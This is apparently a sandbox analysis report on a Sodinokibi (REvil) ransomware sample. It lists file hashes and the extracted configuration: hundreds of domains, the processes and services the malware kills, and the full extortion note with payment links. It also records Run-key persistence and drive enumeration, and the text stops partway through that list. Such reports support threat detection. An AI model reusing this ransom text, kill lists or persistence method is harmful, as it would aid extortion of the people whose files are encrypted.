Analysis
-
max time kernel
131s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
05-08-2023 08:38
Static task
static1
Behavioral task
behavioral1
Sample
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe
Resource
win10v2004-20230703-en
General
-
Target
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe
-
Size
221KB
-
MD5
77ed1092409c927f5cd1992021f99147
-
SHA1
4c9027e660614db7fe653e67a7ac0b726b52cc44
-
SHA256
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463
-
SHA512
1e01f85f50179fb7620680809862c28c8955e696b397acd6766a2d8a18b81cc08f99c2a059213797ea8de1e004412b9d4853cf1c2ae9f451505322b00e26238a
-
SSDEEP
6144:Za/6o9aptGtbbqcqjuEyileXEHpSYxyEpq:S5atGtfqcqju3iXHpSgq
Malware Config
Extracted
sodinokibi
$2a$10$MaBWjCXKB3kROpX5KeARM.SC7uhuuBCbvRC/J3KvhMn3f11EUJg3.
4402
gopackapp.com
croftprecision.co.uk
sanyue119.com
chatizel-paysage.fr
falcou.fr
theshungiteexperience.com.au
xn--vrftet-pua.biz
slimani.net
vibethink.net
mrxermon.de
hebkft.hu
danskretursystem.dk
castillobalduz.es
pmc-services.de
advizewealth.com
pixelarttees.com
testcoreprohealthuk.com
ino-professional.ru
alvinschwartz.wordpress.com
mercantedifiori.com
cnoia.org
daklesa.de
fannmedias.com
jenniferandersonwriter.com
lebellevue.fr
mariposapropaneaz.com
merzi.info
analiticapublica.es
centrospgolega.com
licor43.de
asiluxury.com
bxdf.info
c2e-poitiers.com
vihannesporssi.fi
aniblinova.wordpress.com
evangelische-pfarrgemeinde-tuniberg.de
morawe-krueger.de
mylovelybluesky.com
ncs-graphic-studio.com
geoffreymeuli.com
micro-automation.de
oceanastudios.com
caribdoctor.org
anteniti.com
ussmontanacommittee.us
miriamgrimm.de
nachhilfe-unterricht.com
knowledgemuseumbd.com
joyeriaorindia.com
bierensgebakkramen.nl
troegs.com
educar.org
adultgamezone.com
jyzdesign.com
leda-ukraine.com.ua
oldschoolfun.net
koko-nora.dk
woodleyacademy.org
surespark.org.uk
ra-staudte.de
beautychance.se
apprendrelaudit.com
tandartspraktijkhartjegroningen.nl
baustb.de
pferdebiester.de
berliner-versicherungsvergleich.de
gonzalezfornes.es
web.ion.ag
iwelt.de
upplandsspar.se
teknoz.net
digivod.de
rocketccw.com
thaysa.com
schoolofpassivewealth.com
sportiomsportfondsen.nl
transliminaltribe.wordpress.com
bradynursery.com
igrealestate.com
elimchan.com
mountaintoptinyhomes.com
onlyresultsmarketing.com
mir-na-iznanku.com
ruralarcoiris.com
catholicmusicfest.com
plastidip.com.ar
siluet-decor.ru
farhaani.com
d2marketing.co.uk
manutouchmassage.com
classycurtainsltd.co.uk
ulyssemarketing.com
cranleighscoutgroup.org
lecantou-coworking.com
forskolorna.org
ouryoungminds.wordpress.com
nmiec.com
fairfriends18.de
xlarge.at
odiclinic.org
123vrachi.ru
americafirstcommittee.org
higadograsoweb.com
eaglemeetstiger.de
rozemondcoaching.nl
d1franchise.com
koken-voor-baby.nl
basisschooldezonnewijzer.nl
balticdentists.com
arteservicefabbro.com
marcuswhitten.site
fensterbau-ziegler.de
dpo-as-a-service.com
berlin-bamboo-bikes.org
xn--thucmctc-13a1357egba.com
aarvorg.com
brevitempore.net
bee4win.com
zzyjtsgls.com
danielblum.info
tips.technology
ki-lowroermond.nl
dontpassthepepper.com
stampagrafica.es
bafuncs.org
unetica.fr
hardinggroup.com
huehnerauge-entfernen.de
levihotelspa.fi
longislandelderlaw.com
cyntox.com
rerekatu.com
dr-pipi.de
aunexis.ch
sotsioloogia.ee
petnest.ir
theadventureedge.com
vyhino-zhulebino-24.ru
jakekozmor.com
poultrypartners.nl
xoabigail.com
rosavalamedahr.com
teczowadolina.bytom.pl
thedresserie.com
theletter.company
strategicstatements.com
2ekeus.nl
htchorst.nl
international-sound-awards.com
zieglerbrothers.de
ceid.info.tr
365questions.org
plv.media
pasivect.co.uk
selfoutlet.com
rota-installations.co.uk
grupocarvalhoerodrigues.com.br
executiveairllc.com
ampisolabergeggi.it
live-your-life.jp
travelffeine.com
yousay.site
vancouver-print.ca
ungsvenskarna.se
seevilla-dr-sturm.at
conasmanagement.de
ladelirante.fr
schmalhorst.de
nvwoodwerks.com
quickyfunds.com
i-arslan.de
polzine.net
pawsuppetlovers.com
you-bysia.com.au
jeanlouissibomana.com
philippedebroca.com
elpa.se
ianaswanson.com
architecturalfiberglass.org
alten-mebel63.ru
ymca-cw.org.uk
jasonbaileystudio.com
irishmachineryauctions.com
todocaracoles.com
strandcampingdoonbeg.com
monark.com
groupe-cets.com
zimmerei-fl.de
bowengroup.com.au
havecamerawilltravel2017.wordpress.com
parkcf.nl
embracinghiscall.com
skiltogprint.no
iyahayki.nl
financescorecard.com
sabel-bf.com
pcp-nc.com
mrtour.site
evergreen-fishing.com
sw1m.ru
saxtec.com
freie-baugutachterpraxis.de
baylegacy.com
cerebralforce.net
stallbyggen.se
wien-mitte.co.at
siliconbeach-realestate.com
ecoledansemulhouse.fr
gantungankunciakrilikbandung.com
rebeccarisher.com
harpershologram.wordpress.com
xn--fn-kka.no
allamatberedare.se
sairaku.net
irinaverwer.com
danholzmann.com
mediaclan.info
lightair.com
stoeferlehalle.de
thedad.com
retroearthstudio.com
aselbermachen.com
phantastyk.com
edv-live.de
edrcreditservices.nl
simoneblum.de
all-turtles.com
better.town
acomprarseguidores.com
tomoiyuma.com
tanciu.com
vietlawconsultancy.com
mezhdu-delom.ru
mastertechengineering.com
vorotauu.ru
otto-bollmann.de
andersongilmour.co.uk
creamery201.com
shiftinspiration.com
smale-opticiens.nl
henricekupper.com
baumkuchenexpo.jp
aodaichandung.com
alsace-first.com
naturstein-hotte.de
blogdecachorros.com
iviaggisonciliegie.it
admos-gleitlager.de
stingraybeach.com
hihaho.com
neuschelectrical.co.za
dnepr-beskid.com.ua
finediningweek.pl
corola.es
maxadams.london
satyayoga.de
piajeppesen.dk
manifestinglab.com
luxurytv.jp
theclubms.com
bloggyboulga.net
praxis-foerderdiagnostik.de
cursosgratuitosnainternet.com
bouldercafe-wuppertal.de
pointos.com
mousepad-direkt.de
nhadatcanho247.com
crosspointefellowship.church
triggi.de
hmsdanmark.dk
cimanchesterescorts.co.uk
shadebarandgrillorlando.com
ftlc.es
space.ua
brawnmediany.com
buroludo.nl
fayrecreations.com
olejack.ru
i-trust.dk
autopfand24.de
homng.net
compliancesolutionsstrategies.com
streamerzradio1.site
hiddencitysecrets.com.au
lescomtesdemean.be
zenderthelender.com
buymedical.biz
lubetkinmediacompanies.com
ncid.bc.ca
echtveilig.nl
deschl.net
thailandholic.com
xltyu.com
allfortheloveofyou.com
romeguidedvisit.com
rumahminangberdaya.com
tenacitytenfold.com
celeclub.org
mrsfieldskc.com
ecpmedia.vn
urist-bogatyr.ru
backstreetpub.com
eco-southafrica.com
schlafsack-test.net
blewback.com
pogypneu.sk
theduke.de
limassoldriving.com
gemeentehetkompas.nl
latestmodsapks.com
revezlimage.com
marietteaernoudts.nl
ftf.or.at
logopaedie-blomberg.de
hkr-reise.de
behavioralmedicinespecialists.com
lmtprovisions.com
cite4me.org
narcert.com
operaslovakia.sk
toreria.es
miraclediet.fun
sipstroysochi.ru
solhaug.tk
foryourhealth.live
trapiantofue.it
outcomeisincome.com
tradiematepro.com.au
tonelektro.nl
heliomotion.com
prochain-voyage.net
haremnick.com
precisionbevel.com
karacaoglu.nl
midmohandyman.com
testzandbakmetmening.online
nuzech.com
em-gmbh.ch
promesapuertorico.com
pcprofessor.com
antiaginghealthbenefits.com
gasbarre.com
triactis.com
kirkepartner.dk
the-virtualizer.com
aprepol.com
zewatchers.com
destinationclients.fr
mardenherefordshire-pc.gov.uk
35-40konkatsu.net
art2gointerieurprojecten.nl
muamuadolls.com
vetapharma.fr
hairstylesnow.site
actecfoundation.org
devlaur.com
assurancesalextrespaille.fr
bingonearme.org
cuspdental.com
veybachcenter.de
cheminpsy.fr
lillegrandpalais.com
igfap.com
parking.netgateway.eu
uimaan.fi
seminoc.com
waermetauscher-berechnen.de
werkkring.nl
aglend.com.au
despedidascostablanca.es
cuppacap.com
funjose.org.gt
gporf.fr
notmissingout.com
penco.ie
alhashem.net
delawarecorporatelaw.com
mooreslawngarden.com
extraordinaryoutdoors.com
happyeasterimages.org
hannah-fink.de
rostoncastings.co.uk
tigsltd.com
bricotienda.com
collaborativeclassroom.org
instatron.net
gasolspecialisten.se
fibrofolliculoma.info
tstaffing.nl
whyinterestingly.ru
otsu-bon.com
lucidinvestbank.com
villa-marrakesch.de
ilcdover.com
psnacademy.in
projetlyonturin.fr
bodyforwife.com
noixdecocom.fr
team-montage.dk
nestor-swiss.ch
moveonnews.com
psa-sec.de
tuuliautio.fi
officehymy.com
webhostingsrbija.rs
4net.guru
globedivers.wordpress.com
homecomingstudio.com
pv-design.de
balticdermatology.lt
lange.host
dushka.ua
platformier.com
extensionmaison.info
bunburyfreightservices.com.au
houseofplus.com
antonmack.de
babcockchurch.org
thomasvicino.com
ateliergamila.com
4youbeautysalon.com
wari.com.pe
steampluscarpetandfloors.com
craigmccabe.fun
aminaboutique247.com
stormwall.se
dramagickcom.wordpress.com
kojinsaisei.info
partnertaxi.sk
kisplanning.com.au
sojamindbody.com
humancondition.com
drfoyle.com
fitnessingbyjessica.com
tophumanservicescourses.com
burkert-ideenreich.de
abogadosadomicilio.es
innote.fi
luckypatcher-apkz.com
simpliza.com
kaotikkustomz.com
tampaallen.com
easytrans.com.au
ostheimer.at
jerling.de
norovirus-ratgeber.de
kindersitze-vergleich.de
dubscollective.com
refluxreducer.com
diversiapsicologia.es
bristolaeroclub.co.uk
socstrp.org
nosuchthingasgovernment.com
mirjamholleman.nl
bargningavesta.se
mooglee.com
blood-sports.net
filmstreamingvfcomplet.be
panelsandwichmadrid.es
opatrovanie-ako.sk
spargel-kochen.de
jobmap.at
kaminscy.com
kostenlose-webcams.com
fiscalsort.com
rushhourappliances.com
itelagen.com
familypark40.com
krlosdavid.com
gaiam.nl
beyondmarcomdotcom.wordpress.com
spacecitysisters.org
lynsayshepherd.co.uk
portoesdofarrobo.com
binder-buerotechnik.at
blacksirius.de
crowd-patch.co.uk
cactusthebrand.com
delchacay.com.ar
jusibe.com
real-estate-experts.com
argenblogs.com.ar
iqbalscientific.com
girlillamarketing.com
faizanullah.com
leoben.at
stopilhan.com
sagadc.com
smalltownideamill.wordpress.com
michaelsmeriglioracing.com
whittier5k.com
agence-chocolat-noir.com
galleryartfair.com
mdk-mediadesign.de
goodgirlrecovery.com
latribuessentielle.com
vesinhnha.com.vn
imperfectstore.com
tecnojobsnet.com
boisehosting.net
architekturbuero-wagner.net
syndikat-asphaltfieber.de
ivfminiua.com
hatech.io
thefixhut.com
pubweb.carnet.hr
asteriag.com
insigniapmg.com
onlybacklink.com
firstpaymentservices.com
kedak.de
eraorastudio.com
maratonaclubedeportugal.com
radaradvies.nl
vickiegrayimages.com
makeurvoiceheard.com
ventti.com.ar
wolf-glas-und-kunst.de
mbfagency.com
campusoutreach.org
peterstrobos.com
abl1.net
musictreehouse.net
baronloan.org
nancy-informatique.fr
bigler-hrconsulting.ch
psc.de
hypozentrum.com
tinyagency.com
tastewilliamsburg.com
linnankellari.fi
porno-gringo.com
puertamatic.es
kariokids.com
bookspeopleplaces.com
bargningharnosand.se
woodworkersolution.com
fitnessbazaar.com
bundabergeyeclinic.com.au
artige.com
sweering.fr
dw-css.de
herbstfeststaefa.ch
homesdollar.com
mdacares.com
cwsitservices.co.uk
321play.com.hk
kissit.ca
simplyblessedbykeepingitreal.com
hotelzentral.at
thomas-hospital.de
accountancywijchen.nl
ziegler-praezisionsteile.de
lloydconstruction.com
coastalbridgeadvisors.com
commercialboatbuilding.com
tulsawaterheaterinstallation.com
corelifenutrition.com
101gowrie.com
charlottepoudroux-photographie.fr
gastsicht.de
oemands.dk
kidbucketlist.com.au
zimmerei-deboer.de
readberserk.com
carolinepenn.com
vox-surveys.com
pocket-opera.de
gymnasedumanagement.com
dirittosanitario.biz
takeflat.com
candyhouseusa.com
anthonystreetrimming.com
pinkexcel.com
katketytaanet.fi
femxarxa.cat
purposeadvisorsolutions.com
imaginado.de
walter-lemm.de
abogados-en-alicante.es
twohourswithlena.wordpress.com
kath-kirche-gera.de
hotelsolbh.com.br
nataschawessels.com
ohidesign.com
lachofikschiet.nl
kingfamily.construction
c-a.co.in
kalkulator-oszczednosci.pl
denifl-consulting.at
heidelbergartstudio.gallery
filmvideoweb.com
modelmaking.nl
carrybrands.nl
ahouseforlease.com
saarland-thermen-resort.com
directwindowco.com
controldekk.com
praxis-management-plus.de
lichencafe.com
camsadviser.com
gamesboard.info
geisterradler.de
sloverse.com
coffreo.biz
pickanose.com
chandlerpd.com
ctrler.cn
wacochamber.com
ilive.lt
kuntokeskusrok.fi
kaliber.co.jp
creative-waves.co.uk
ihr-news.jp
agence-referencement-naturel-geneve.net
new.devon.gov.uk
id-vet.com
1team.es
urmasiimariiuniri.ro
leather-factory.co.jp
loprus.pl
boulderwelt-muenchen-west.de
suncrestcabinets.ca
herbayupro.com
vibehouse.rw
dsl-ip.de
hellohope.com
parebrise-tla.fr
jvanvlietdichter.nl
sterlingessay.com
interactcenter.org
turkcaparbariatrics.com
punchbaby.com
slimidealherbal.com
glennroberts.co.nz
smartypractice.com
adoptioperheet.fi
pier40forall.org
myhostcloud.com
mmgdouai.fr
tinkoff-mobayl.ru
dr-tremel-rednitzhembach.de
klusbeter.nl
rollingrockcolumbia.com
ogdenvision.com
roadwarrior.app
smejump.co.th
pmcimpact.com
mymoneyforex.com
deepsouthclothingcompany.com
conexa4papers.trade
norpol-yachting.com
bestbet.com
devok.info
sobreholanda.com
jorgobe.at
huissier-creteil.com
degroenetunnel.com
noesis.tech
sofavietxinh.com
slupetzky.at
stemplusacademy.com
boosthybrid.com.au
symphonyenvironmental.com
southeasternacademyofprosthodontics.org
ilso.net
cirugiauretra.es
seagatesthreecharters.com
podsosnami.ru
baptisttabernacle.com
myzk.site
webmaster-peloton.com
oslomf.no
deltacleta.cat
facettenreich27.de
hashkasolutindo.com
calxplus.eu
antenanavi.com
atalent.fi
gadgetedges.com
global-kids.info
spinheal.ru
verytycs.com
aurum-juweliere.de
christinarebuffetcourses.com
heurigen-bauer.at
milestoneshows.com
zflas.com
yassir.pro
mediaplayertest.net
markelbroch.com
hhcourier.com
ledmes.ru
deoudedorpskernnoordwijk.nl
groupe-frayssinet.fr
mank.de
montrium.com
schoellhammer.com
milsing.hr
wurmpower.at
ralister.co.uk
raschlosser.de
theapifactory.com
visiativ-industry.fr
kamienny-dywan24.pl
tongdaifpthaiphong.net
connectedace.com
ora-it.de
austinlchurch.com
blossombeyond50.com
tomaso.gr
airconditioning-waalwijk.nl
jiloc.com
devstyle.org
schraven.de
bastutunnan.se
bouquet-de-roses.com
icpcnj.org
jobcenterkenya.com
autodujos.lt
brigitte-erler.com
nakupunafoundation.org
paradicepacks.com
zervicethai.co.th
naturavetal.hr
mountsoul.de
xn--logopdie-leverkusen-kwb.de
webcodingstudio.com
caffeinternet.it
juneauopioidworkgroup.org
tanzprojekt.com
smessier.com
christ-michael.net
mapawood.com
helikoptervluchtnewyork.nl
levdittliv.se
plantag.de
solerluethi-allart.ch
ontrailsandboulevards.com
danubecloud.com
gratispresent.se
presseclub-magdeburg.de
systemate.dk
greenko.pl
fotoscondron.com
grelot-home.com
naturalrapids.com
lykkeliv.net
appsformacpc.com
y-archive.com
ceres.org.au
insp.bi
hoteledenpadova.it
schutting-info.nl
milltimber.aberdeen.sch.uk
digi-talents.com
dekkinngay.com
dlc.berlin
bordercollie-nim.nl
forestlakeuca.org.au
softsproductkey.com
videomarketing.pro
stacyloeb.com
comarenterprises.com
thenewrejuveme.com
saka.gr
cityorchardhtx.com
rimborsobancario.net
bigbaguettes.eu
entopic.com
perbudget.com
sinal.org
vannesteconstruct.be
ligiercenter-sachsen.de
spectrmash.ru
mytechnoway.com
wellplast.se
kadesignandbuild.co.uk
braffinjurylawfirm.com
1kbk.com.ua
garage-lecompte-rouen.fr
hugoversichert.de
joseconstela.com
erstatningsadvokaterne.dk
paymybill.guru
figura.team
vermoote.de
oneheartwarriors.at
ncuccr.org
synlab.lt
ai-spt.jp
atozdistribution.co.uk
pelorus.group
idemblogs.com
layrshift.eu
bigasgrup.com
answerstest.ru
id-et-d.fr
kosterra.com
fundaciongregal.org
yamalevents.com
allure-cosmetics.at
charlesreger.com
eglectonk.online
toponlinecasinosuk.co.uk
lascuola.nl
allentownpapershow.com
sauschneider.info
augenta.com
healthyyworkout.com
modestmanagement.com
nokesvilledentistry.com
plotlinecreative.com
winrace.no
worldhealthbasicinfo.com
galserwis.pl
songunceliptv.com
asgestion.com
jameskibbie.com
waywithwords.net
starsarecircular.org
transportesycementoshidalgo.es
makeflowers.ru
solinegraphic.com
datacenters-in-europe.com
nijaplay.com
sandd.nl
manijaipur.com
makeitcount.at
frontierweldingllc.com
deprobatehelp.com
citymax-cr.com
desert-trails.com
craftleathermnl.com
foretprivee.ca
consultaractadenacimiento.com
navyfederalautooverseas.com
remcakram.com
pridoxmaterieel.nl
securityfmm.com
eadsmurraypugh.com
associacioesportivapolitg.cat
richard-felix.co.uk
vdberg-autoimport.nl
bbsmobler.se
stoeberstuuv.de
cleliaekiko.online
seitzdruck.com
autodemontagenijmegen.nl
paulisdogshop.de
deko4you.at
upmrkt.co
insidegarage.pl
sahalstore.com
mindpackstudios.com
senson.fi
iyengaryogacharlotte.com
iwr.nl
naswrrg.org
restaurantesszimmer.de
boompinoy.com
alysonhoward.com
mediaacademy-iraq.org
centuryrs.com
stoneys.ch
themadbotter.com
uranus.nl
maineemploymentlawyerblog.com
wmiadmin.com
urclan.net
flexicloud.hk
effortlesspromo.com
kampotpepper.gives
sla-paris.com
lionware.de
bouncingbonanza.com
notsilentmd.org
tandartspraktijkheesch.nl
zonamovie21.net
rieed.de
intecwi.com
milanonotai.it
carriagehousesalonvt.com
marchand-sloboda.com
argos.wityu.fund
teresianmedia.org
apolomarcas.com
nandistribution.nl
artallnightdc.com
proudground.org
harveybp.com
parkstreetauto.net
xn--singlebrsen-vergleich-nec.com
smogathon.com
memaag.com
abuelos.com
bridgeloanslenders.com
daniel-akermann-architektur-und-planung.ch
caribbeansunpoker.com
personalenhancementcenter.com
xn--fnsterputssollentuna-39b.se
newstap.com.ng
kamahouse.net
abitur-undwieweiter.de
handi-jack-llc.com
malychanieruchomoscipremium.com
bauertree.com
maasreusel.nl
hushavefritid.dk
commonground-stories.com
jbbjw.com
vitalyscenter.es
blog.solutionsarchitect.guru
westdeptfordbuyrite.com
smithmediastrategies.com
reddysbakery.com
supportsumba.nl
offroadbeasts.com
shonacox.com
hvccfloorcare.com
katiekerr.co.uk
tux-espacios.com
autofolierung-lu.de
liveottelut.com
lapinvihreat.fi
walkingdeadnj.com
bodyfulls.com
www1.proresult.no
comparatif-lave-linge.fr
greenpark.ch
verifort-capital.de
lukeshepley.wordpress.com
kunze-immobilien.de
humanityplus.org
kafu.ch
employeesurveys.com
rksbusiness.com
lapinlviasennus.fi
qlog.de
wychowanieprzedszkolne.pl
chefdays.de
birnam-wood.com
completeweddingkansas.com
kevinjodea.com
jacquin-maquettes.com
love30-chanko.com
fransespiegels.nl
carlosja.com
izzi360.com
tennisclubetten.nl
centromarysalud.com
people-biz.com
kojima-shihou.com
launchhubl.com
simpkinsedwards.co.uk
aco-media.nl
fizzl.ru
chaotrang.com
coursio.com
stupbratt.no
fatfreezingmachines.com
lapmangfpt.info.vn
profectis.de
roygolden.com
body-armour.online
csgospeltips.se
bsaship.com
yourobgyn.net
associationanalytics.com
highlinesouthasc.com
marketingsulweb.com
tsklogistik.eu
pay4essays.net
hrabritelefon.hr
nacktfalter.de
seproc.hn
coding-machine.com
clos-galant.com
lefumetdesdombes.com
xn--rumung-bua.online
krcove-zily.eu
mepavex.nl
jadwalbolanet.info
slwgs.org
huesges-gruppe.de
campus2day.de
meusharklinithome.wordpress.com
exenberger.at
gw2guilds.org
servicegsm.net
nicoleaeschbachorg.wordpress.com
colorofhorses.com
verbisonline.com
ravensnesthomegoods.com
spylista.com
chavesdoareeiro.com
tetinfo.in
enovos.de
abogadosaccidentetraficosevilla.es
ausbeverage.com.au
cursoporcelanatoliquido.online
osterberg.fi
edgewoodestates.org
bockamp.com
amerikansktgodis.se
bildungsunderlebnis.haus
vanswigchemdesign.com
kenhnoithatgo.com
lenreactiv-shop.ru
planchaavapor.net
smokeysstoves.com
spd-ehningen.de
greenfieldoptimaldentalcare.com
quizzingbee.com
wsoil.com.sg
iphoneszervizbudapest.hu
copystar.co.uk
courteney-cox.net
quemargrasa.net
rhinosfootballacademy.com
unim.su
resortmtn.com
8449nohate.org
x-ray.ca
johnsonfamilyfarmblog.wordpress.com
no-plans.com
wasmachtmeinfonds.at
physiofischer.de
friendsandbrgrs.com
div-vertriebsforschung.de
denovofoodsgroup.com
fitovitaforum.com
mooshine.com
ccpbroadband.com
promalaga.es
labobit.it
biortaggivaldelsa.com
sexandfessenjoon.wordpress.com
zweerscreatives.nl
esope-formation.fr
vitavia.lt
fotoideaymedia.es
corona-handles.com
klimt2012.info
stefanpasch.me
ditog.fr
DupontSellsHomes.com
spsshomeworkhelp.com
shhealthlaw.com
blumenhof-wegleitner.at
dezatec.es
biapi-coaching.fr
chrissieperry.com
waynela.com
hokagestore.com
live-con-arte.de
sarbatkhalsafoundation.org
julis-lsa.de
skanah.com
botanicinnovations.com
importardechina.info
pasvenska.se
12starhd.online
minipara.com
xtptrack.com
waveneyrivercentre.co.uk
nurturingwisdom.com
almosthomedogrescue.dog
pivoineetc.fr
n1-headache.com
liikelataamo.fi
polymedia.dk
corendonhotels.com
justinvieira.com
abogadoengijon.es
sporthamper.com
faronics.com
wraithco.com
cortec-neuro.com
fax-payday-loans.com
vloeren-nu.nl
myhealth.net.au
maureenbreezedancetheater.org
sachnendoc.com
lorenacarnero.com
euro-trend.pl
highimpactoutdoors.net
macabaneaupaysflechois.com
atmos-show.com
victoriousfestival.co.uk
expandet.dk
serce.info.pl
mbxvii.com
kikedeoliveira.com
cafemattmeera.com
the-domain-trader.com
micahkoleoso.de
anybookreader.de
patrickfoundation.net
marathonerpaolo.com
trystana.com
thee.network
finde-deine-marke.de
alfa-stroy72.com
faroairporttransfers.net
ecopro-kanto.com
igorbarbosa.com
first-2-aid-u.com
craigvalentineacademy.com
torgbodenbollnas.se
nsec.se
haar-spange.com
amylendscrestview.com
kao.at
rehabilitationcentersinhouston.net
smart-light.co.uk
hexcreatives.co
work2live.de
oncarrot.com
pierrehale.com
talentwunder.com
pomodori-pizzeria.de
ikads.org
bayoga.co.uk
aakritpatel.com
body-guards.it
truenyc.co
advokathuset.dk
tarotdeseidel.com
qualitus.com
imadarchid.com
lbcframingelectrical.com
madinblack.com
nativeformulas.com
brandl-blumen.de
dubnew.com
dr-seleznev.com
crediacces.com
ausair.com.au
rafaut.com
jsfg.com
artotelamsterdam.com
edelman.jp
coding-marking.com
slashdb.com
lusak.at
epwritescom.wordpress.com
oneplusresource.org
ivivo.es
leeuwardenstudentcity.nl
simulatebrain.com
microcirc.net
beaconhealthsystem.org
mylolis.com
thewellnessmimi.com
tanzschule-kieber.de
socialonemedia.com
freie-gewerkschaften.de
dutchbrewingcoffee.com
scenepublique.net
dublikator.com
bhwlawfirm.com
smhydro.com.pl
gmto.fr
jandaonline.com
qualitaetstag.de
bogdanpeptine.ro
newyou.at
trackyourconstruction.com
celularity.com
darnallwellbeing.org.uk
run4study.com
bimnapratica.com
sportverein-tambach.de
shsthepapercut.com
drugdevice.org
besttechie.com
shiresresidential.com
samnewbyjax.com
jolly-events.com
renergysolution.com
trulynolen.co.uk
sanaia.com
boldcitydowntown.com
hairnetty.wordpress.com
sevenadvertising.com
crowcanyon.com
durganews.com
polychromelabs.com
mirkoreisser.de
dareckleyministries.com
pt-arnold.de
broseller.com
noskierrenteria.com
drinkseed.com
journeybacktolife.com
darrenkeslerministries.com
sportsmassoren.com
liliesandbeauties.org
modamilyon.com
dutchcoder.nl
summitmarketingstrategies.com
zso-mannheim.de
geekwork.pl
parks-nuernberg.de
evologic-technologies.com
maryloutaylor.com
kmbshipping.co.uk
judithjansen.com
calabasasdigest.com
mrsplans.net
blgr.be
myteamgenius.com
dinslips.se
withahmed.com
helenekowalsky.com
drnice.de
mikeramirezcpa.com
stemenstilte.nl
bptdmaluku.com
littlebird.salon
-
net
true
-
pid
$2a$10$MaBWjCXKB3kROpX5KeARM.SC7uhuuBCbvRC/J3KvhMn3f11EUJg3.
-
prc
isqlplussvc
mydesktopqos
onenote
ocomm
dbsnmp
powerpnt
winword
thebat
sql
infopath
visio
firefox
tbirdconfig
wordpad
agntsvc
msaccess
sqbcoreservice
xfssvccon
dbeng50
thunderbird
outlook
mspub
excel
mydesktopservice
steam
ocautoupds
oracle
encsvc
synctime
ocssd
-
ransom_oneliner
Soon you may lose your files FOREVER Find: "readme-{EXT}-NOW.txt" in folders or on your desktop! YOU HAVE A FEW DAYS OR A FILE WILL BE LOST FOREVER !!!
-
ransom_template
Your files are locked due to a vulnerability in your system by "{EXT}" extension. You will not be able to decrypt the files yourself, in the worst case you can destroy the data irreversibly. The only way to unlock your data is to buy the decryption program. Go to the link written below to more details. If you cannot do this yourself, find a data recovery company in internet. They cannot help you unlock your data, because only we have decryption key, but will help you make a payment and provide you guarantees. ATTENTION! DATA RECOVERY AGENCIES WORK AND DURING THE CORONOVIRUS QUARANTINE, THEY WILL HELP YOU REMOTE. Also, I ask you to note, you have no long time, if you do not make payment soon, the price for the decryptor will double. So I recommend you dont waste time and move! Go to the page through the browser: http://decryptor.cc/{UID} If your site does not open, then download the "TOR Browser" (https://torproject.org/). If you cannot access the download page of the "TOR Browser", then download the VPN! After installing "TOR Browser", open it and follow the link: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} After going to the site, enter the following code: {KEY}
-
sub
4402
-
svc
vss
backup
svc$
memtas
sql
veeam
mepocs
sophos
Extracted
C:\Users\readme-cr0v4-NOW.txt
http://decryptor.cc/B455AE79B35BE10E
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B455AE79B35BE10E
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe" 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exedescription ioc process File opened (read-only) \??\H: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\J: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\V: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\Z: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\I: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\M: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\O: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\R: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\T: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\Y: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\F: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\B: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\E: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\G: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\L: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\P: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\A: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\K: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\N: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\Q: 97a2331bc8088327dd97c4d01c3183cec88e4d5b724365602b982036a6306463.exe File opened (read-only) \??\S: 